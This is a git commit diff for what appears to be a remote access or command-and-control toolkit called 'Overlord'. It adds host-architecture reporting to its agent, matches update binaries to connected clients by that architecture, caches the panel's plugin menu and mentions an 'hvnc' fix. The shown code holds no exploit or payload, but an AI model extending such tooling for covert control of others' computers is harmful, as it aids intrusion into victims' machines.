fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
+5
-2
@@ -36,8 +36,11 @@ Thumbs.db
|
|||||||
.gitignore
|
.gitignore
|
||||||
.gitattributes
|
.gitattributes
|
||||||
|
|
||||||
# Build outputs (dist-clients is provided by the builder stage in the runtime image)
|
# Build outputs (agent binaries are large; exclude them but keep pre-built DLLs)
|
||||||
**/dist-clients/
|
**/dist-clients/*.exe
|
||||||
|
**/dist-clients/*.pdb
|
||||||
|
**/dist-clients/*.lib
|
||||||
|
**/dist-clients/*.exp
|
||||||
Overlord-Client/build/
|
Overlord-Client/build/
|
||||||
release/
|
release/
|
||||||
|
|
||||||
|
|||||||
@@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
hello.IsAdmin = sysinfo.IsAdmin()
|
hello.IsAdmin = sysinfo.IsAdmin()
|
||||||
hello.Elevation = sysinfo.Elevation()
|
hello.Elevation = sysinfo.Elevation()
|
||||||
hello.Permissions = sysinfo.DarwinPermissions()
|
hello.Permissions = sysinfo.DarwinPermissions()
|
||||||
|
hello.HostArch = sysinfo.HostArch()
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
return fmt.Errorf("send hello: %w", err)
|
return fmt.Errorf("send hello: %w", err)
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ package sysinfo
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
@@ -43,3 +44,15 @@ func totalRAM() string {
|
|||||||
mb := float64(total) / (1024 * 1024)
|
mb := float64(total) / (1024 * 1024)
|
||||||
return fmt.Sprintf("%.0f MB", mb)
|
return fmt.Sprintf("%.0f MB", mb)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HostArch() string {
|
||||||
|
if machine, err := unix.Sysctl("hw.machine"); err == nil {
|
||||||
|
switch machine {
|
||||||
|
case "x86_64":
|
||||||
|
return "amd64"
|
||||||
|
case "arm64":
|
||||||
|
return "arm64"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return runtime.GOARCH
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ package sysinfo
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
"syscall"
|
||||||
)
|
)
|
||||||
|
|
||||||
func collectPlatform() Info {
|
func collectPlatform() Info {
|
||||||
@@ -97,3 +99,28 @@ func totalRAM() string {
|
|||||||
}
|
}
|
||||||
return "unknown"
|
return "unknown"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HostArch() string {
|
||||||
|
var utsname syscall.Utsname
|
||||||
|
if err := syscall.Uname(&utsname); err == nil {
|
||||||
|
buf := make([]byte, 0, len(utsname.Machine))
|
||||||
|
for _, c := range utsname.Machine {
|
||||||
|
if c == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
buf = append(buf, byte(c))
|
||||||
|
}
|
||||||
|
machine := string(buf)
|
||||||
|
switch machine {
|
||||||
|
case "x86_64":
|
||||||
|
return "amd64"
|
||||||
|
case "aarch64":
|
||||||
|
return "arm64"
|
||||||
|
case "armv7l":
|
||||||
|
return "armv7"
|
||||||
|
case "i686", "i386":
|
||||||
|
return "386"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return runtime.GOARCH
|
||||||
|
}
|
||||||
|
|||||||
@@ -4,6 +4,8 @@ package sysinfo
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
@@ -112,3 +114,25 @@ func totalRAM() string {
|
|||||||
mb := float64(ms.TotalPhys) / (1024 * 1024)
|
mb := float64(ms.TotalPhys) / (1024 * 1024)
|
||||||
return fmt.Sprintf("%.0f MB", mb)
|
return fmt.Sprintf("%.0f MB", mb)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HostArch() string {
|
||||||
|
if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
|
||||||
|
switch strings.ToLower(arch) {
|
||||||
|
case "amd64":
|
||||||
|
return "amd64"
|
||||||
|
case "arm64":
|
||||||
|
return "arm64"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
|
||||||
|
switch strings.ToLower(arch) {
|
||||||
|
case "amd64":
|
||||||
|
return "amd64"
|
||||||
|
case "arm64":
|
||||||
|
return "arm64"
|
||||||
|
case "x86":
|
||||||
|
return "386"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return runtime.GOARCH
|
||||||
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ type Hello struct {
|
|||||||
Host string `msgpack:"host"`
|
Host string `msgpack:"host"`
|
||||||
OS string `msgpack:"os"`
|
OS string `msgpack:"os"`
|
||||||
Arch string `msgpack:"arch"`
|
Arch string `msgpack:"arch"`
|
||||||
|
HostArch string `msgpack:"hostArch,omitempty"`
|
||||||
Version string `msgpack:"version"`
|
Version string `msgpack:"version"`
|
||||||
User string `msgpack:"user"`
|
User string `msgpack:"user"`
|
||||||
Monitors int `msgpack:"monitors"`
|
Monitors int `msgpack:"monitors"`
|
||||||
|
|||||||
@@ -86,6 +86,27 @@ const clearContext = () => {
|
|||||||
contextCard = null;
|
contextCard = null;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let _pluginCache = null;
|
||||||
|
let _pluginCacheAge = 0;
|
||||||
|
const PLUGIN_CACHE_TTL = 30_000;
|
||||||
|
|
||||||
|
async function refreshPluginCache() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/plugins");
|
||||||
|
if (!res.ok) return;
|
||||||
|
const data = await res.json();
|
||||||
|
_pluginCache = Array.isArray(data.plugins) ? data.plugins : [];
|
||||||
|
_pluginCacheAge = Date.now();
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getCachedPlugins() {
|
||||||
|
if (_pluginCache && Date.now() - _pluginCacheAge < PLUGIN_CACHE_TTL) {
|
||||||
|
return _pluginCache;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
function detectClientPlatform(clientId) {
|
function detectClientPlatform(clientId) {
|
||||||
if (!clientId) {
|
if (!clientId) {
|
||||||
return "unknown";
|
return "unknown";
|
||||||
@@ -323,6 +344,7 @@ async function loadCurrentUser() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
initializeRenderer();
|
initializeRenderer();
|
||||||
|
refreshPluginCache();
|
||||||
} else {
|
} else {
|
||||||
window.location.href = "/";
|
window.location.href = "/";
|
||||||
}
|
}
|
||||||
@@ -414,6 +436,85 @@ function showPluginConfirmModal(pluginId, clientId, sigInfo) {
|
|||||||
input.focus();
|
input.focus();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function renderPluginMenu(plugins) {
|
||||||
|
const section = document.getElementById("plugin-section");
|
||||||
|
const container = document.getElementById("plugin-menu");
|
||||||
|
if (!section || !container) return;
|
||||||
|
container.innerHTML = "";
|
||||||
|
|
||||||
|
const enabled = plugins.filter(p => p.enabled !== false);
|
||||||
|
if (!enabled.length) {
|
||||||
|
section.classList.add("hidden");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
section.classList.remove("hidden");
|
||||||
|
for (const plugin of enabled) {
|
||||||
|
const btn = document.createElement("button");
|
||||||
|
btn.className = "ctx-item ctx-plugin-item";
|
||||||
|
btn.dataset.plugin = plugin.id;
|
||||||
|
btn.dataset.loaded = plugin.loaded ? "true" : "false";
|
||||||
|
if (plugin.lastError) {
|
||||||
|
btn.title = `Last error: ${plugin.lastError}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
const sig = plugin.signature;
|
||||||
|
if (sig && sig.signed && !sig.valid) {
|
||||||
|
btn.disabled = true;
|
||||||
|
btn.setAttribute("aria-disabled", "true");
|
||||||
|
btn.title = "Plugin signature is invalid — cannot load";
|
||||||
|
}
|
||||||
|
|
||||||
|
const labelIcon = document.createElement("i");
|
||||||
|
labelIcon.className =
|
||||||
|
"fa-solid fa-puzzle-piece ctx-icon " +
|
||||||
|
(plugin.loaded ? "text-emerald-400" : "text-fuchsia-400");
|
||||||
|
btn.appendChild(labelIcon);
|
||||||
|
|
||||||
|
const label = document.createElement("span");
|
||||||
|
label.className = "ctx-plugin-label";
|
||||||
|
label.textContent = plugin.name || plugin.id;
|
||||||
|
btn.appendChild(label);
|
||||||
|
|
||||||
|
if (sig) {
|
||||||
|
const trustIcon = document.createElement("i");
|
||||||
|
if (sig.signed && !sig.valid) {
|
||||||
|
trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400";
|
||||||
|
trustIcon.title = "Invalid signature";
|
||||||
|
} else if (sig.signed && sig.valid && sig.trusted) {
|
||||||
|
trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400";
|
||||||
|
trustIcon.title = "Trusted";
|
||||||
|
} else if (sig.signed && sig.valid && !sig.trusted) {
|
||||||
|
trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400";
|
||||||
|
trustIcon.title = "Signed but untrusted";
|
||||||
|
} else {
|
||||||
|
trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400";
|
||||||
|
trustIcon.title = "Unsigned";
|
||||||
|
}
|
||||||
|
btn.appendChild(trustIcon);
|
||||||
|
}
|
||||||
|
|
||||||
|
const badge = document.createElement("span");
|
||||||
|
badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : "");
|
||||||
|
badge.textContent = plugin.loaded ? "loaded" : "available";
|
||||||
|
btn.appendChild(badge);
|
||||||
|
container.appendChild(btn);
|
||||||
|
|
||||||
|
if (plugin.loaded) {
|
||||||
|
const unloadBtn = document.createElement("button");
|
||||||
|
unloadBtn.className = "ctx-item";
|
||||||
|
unloadBtn.dataset.pluginUnload = plugin.id;
|
||||||
|
const unloadIcon = document.createElement("i");
|
||||||
|
unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400";
|
||||||
|
unloadBtn.appendChild(unloadIcon);
|
||||||
|
const unloadText = document.createElement("span");
|
||||||
|
unloadText.textContent = `Unload ${plugin.name || plugin.id}`;
|
||||||
|
unloadBtn.appendChild(unloadText);
|
||||||
|
container.appendChild(unloadBtn);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function loadPluginsForClient(clientId) {
|
async function loadPluginsForClient(clientId) {
|
||||||
const section = document.getElementById("plugin-section");
|
const section = document.getElementById("plugin-section");
|
||||||
const container = document.getElementById("plugin-menu");
|
const container = document.getElementById("plugin-menu");
|
||||||
@@ -421,83 +522,19 @@ async function loadPluginsForClient(clientId) {
|
|||||||
container.innerHTML = "";
|
container.innerHTML = "";
|
||||||
section.classList.add("hidden");
|
section.classList.add("hidden");
|
||||||
|
|
||||||
|
const cached = getCachedPlugins();
|
||||||
|
if (cached && cached.length) {
|
||||||
|
renderPluginMenu(cached);
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await fetch(`/api/clients/${clientId}/plugins`);
|
const res = await fetch(`/api/clients/${clientId}/plugins`);
|
||||||
if (!res.ok) return;
|
if (!res.ok) return;
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
const plugins = Array.isArray(data.plugins) ? data.plugins : [];
|
const plugins = Array.isArray(data.plugins) ? data.plugins : [];
|
||||||
if (!plugins.length) return;
|
renderPluginMenu(plugins);
|
||||||
|
|
||||||
section.classList.remove("hidden");
|
|
||||||
for (const plugin of plugins) {
|
|
||||||
if (plugin.enabled === false) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
const btn = document.createElement("button");
|
|
||||||
btn.className = "ctx-item ctx-plugin-item";
|
|
||||||
btn.dataset.plugin = plugin.id;
|
|
||||||
btn.dataset.loaded = plugin.loaded ? "true" : "false";
|
|
||||||
if (plugin.lastError) {
|
|
||||||
btn.title = `Last error: ${plugin.lastError}`;
|
|
||||||
}
|
|
||||||
|
|
||||||
const sig = plugin.signature;
|
|
||||||
if (sig && sig.signed && !sig.valid) {
|
|
||||||
btn.disabled = true;
|
|
||||||
btn.setAttribute("aria-disabled", "true");
|
|
||||||
btn.title = "Plugin signature is invalid — cannot load";
|
|
||||||
}
|
|
||||||
|
|
||||||
const labelIcon = document.createElement("i");
|
|
||||||
labelIcon.className =
|
|
||||||
"fa-solid fa-puzzle-piece ctx-icon " +
|
|
||||||
(plugin.loaded ? "text-emerald-400" : "text-fuchsia-400");
|
|
||||||
btn.appendChild(labelIcon);
|
|
||||||
|
|
||||||
const label = document.createElement("span");
|
|
||||||
label.className = "ctx-plugin-label";
|
|
||||||
label.textContent = plugin.name || plugin.id;
|
|
||||||
btn.appendChild(label);
|
|
||||||
|
|
||||||
if (sig) {
|
|
||||||
const trustIcon = document.createElement("i");
|
|
||||||
if (sig.signed && !sig.valid) {
|
|
||||||
trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400";
|
|
||||||
trustIcon.title = "Invalid signature";
|
|
||||||
} else if (sig.signed && sig.valid && sig.trusted) {
|
|
||||||
trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400";
|
|
||||||
trustIcon.title = "Trusted";
|
|
||||||
} else if (sig.signed && sig.valid && !sig.trusted) {
|
|
||||||
trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400";
|
|
||||||
trustIcon.title = "Signed but untrusted";
|
|
||||||
} else {
|
|
||||||
trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400";
|
|
||||||
trustIcon.title = "Unsigned";
|
|
||||||
}
|
|
||||||
btn.appendChild(trustIcon);
|
|
||||||
}
|
|
||||||
|
|
||||||
const badge = document.createElement("span");
|
|
||||||
badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : "");
|
|
||||||
badge.textContent = plugin.loaded ? "loaded" : "available";
|
|
||||||
btn.appendChild(badge);
|
|
||||||
container.appendChild(btn);
|
|
||||||
|
|
||||||
if (plugin.loaded) {
|
|
||||||
const unloadBtn = document.createElement("button");
|
|
||||||
unloadBtn.className = "ctx-item";
|
|
||||||
unloadBtn.dataset.pluginUnload = plugin.id;
|
|
||||||
const unloadIcon = document.createElement("i");
|
|
||||||
unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400";
|
|
||||||
unloadBtn.appendChild(unloadIcon);
|
|
||||||
const unloadText = document.createElement("span");
|
|
||||||
unloadText.textContent = `Unload ${plugin.name || plugin.id}`;
|
|
||||||
unloadBtn.appendChild(unloadText);
|
|
||||||
container.appendChild(unloadBtn);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch {
|
} catch {
|
||||||
// ignore
|
// ignore — cache render is already showing
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ export type Hello = {
|
|||||||
host: string;
|
host: string;
|
||||||
os: string;
|
os: string;
|
||||||
arch: string;
|
arch: string;
|
||||||
|
hostArch?: string;
|
||||||
version: string;
|
version: string;
|
||||||
user: string;
|
user: string;
|
||||||
monitors: number;
|
monitors: number;
|
||||||
|
|||||||
@@ -190,20 +190,23 @@ export async function startBuildProcess(
|
|||||||
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
|
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
build.controllers.forEach((controller) => {
|
const alive: ReadableStreamDefaultController[] = [];
|
||||||
|
for (const controller of build.controllers) {
|
||||||
try {
|
try {
|
||||||
controller.enqueue(encoded);
|
controller.enqueue(encoded);
|
||||||
} catch (err) {
|
alive.push(controller);
|
||||||
logger.error("[build] Failed to send to stream:", err);
|
} catch {
|
||||||
}
|
}
|
||||||
});
|
}
|
||||||
|
build.controllers.length = 0;
|
||||||
|
build.controllers.push(...alive);
|
||||||
|
|
||||||
if (data.type === "complete") {
|
if (data.type === "complete") {
|
||||||
build.controllers.forEach((controller) => {
|
for (const controller of build.controllers) {
|
||||||
try {
|
try {
|
||||||
controller.close();
|
controller.close();
|
||||||
} catch {}
|
} catch {}
|
||||||
});
|
}
|
||||||
build.controllers.length = 0;
|
build.controllers.length = 0;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
const clientOs = client.os?.toLowerCase() || "";
|
const clientOs = client.os?.toLowerCase() || "";
|
||||||
const clientArch = client.arch?.toLowerCase() || "";
|
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
|
||||||
const clientPlatform = `${clientOs}-${clientArch}`;
|
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||||
if (!targetPlatforms.has(clientPlatform)) {
|
if (!targetPlatforms.has(clientPlatform)) {
|
||||||
skippedNoMatch++;
|
skippedNoMatch++;
|
||||||
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const clientOs = client.os?.toLowerCase() || "";
|
const clientOs = client.os?.toLowerCase() || "";
|
||||||
const clientArch = client.arch?.toLowerCase() || "";
|
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
|
||||||
const clientPlatform = `${clientOs}-${clientArch}`;
|
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||||
const buildFile = buildPlatforms.get(clientPlatform);
|
const buildFile = buildPlatforms.get(clientPlatform);
|
||||||
if (!buildFile) {
|
if (!buildFile) {
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ export type ClientInfo = {
|
|||||||
host?: string;
|
host?: string;
|
||||||
os?: string;
|
os?: string;
|
||||||
arch?: string;
|
arch?: string;
|
||||||
|
hostArch?: string;
|
||||||
version?: string;
|
version?: string;
|
||||||
user?: string;
|
user?: string;
|
||||||
nickname?: string;
|
nickname?: string;
|
||||||
|
|||||||
@@ -128,6 +128,7 @@ export async function handleHello(
|
|||||||
info.host = sanitizeInfoString(payload.host);
|
info.host = sanitizeInfoString(payload.host);
|
||||||
info.os = sanitizeInfoString(payload.os);
|
info.os = sanitizeInfoString(payload.os);
|
||||||
info.arch = sanitizeInfoString(payload.arch, 32);
|
info.arch = sanitizeInfoString(payload.arch, 32);
|
||||||
|
info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch;
|
||||||
info.version = sanitizeInfoString(payload.version, 64);
|
info.version = sanitizeInfoString(payload.version, 64);
|
||||||
info.user = sanitizeInfoString(payload.user);
|
info.user = sanitizeInfoString(payload.user);
|
||||||
info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;
|
info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;
|
||||||
|
|||||||
Reference in New Issue
Block a user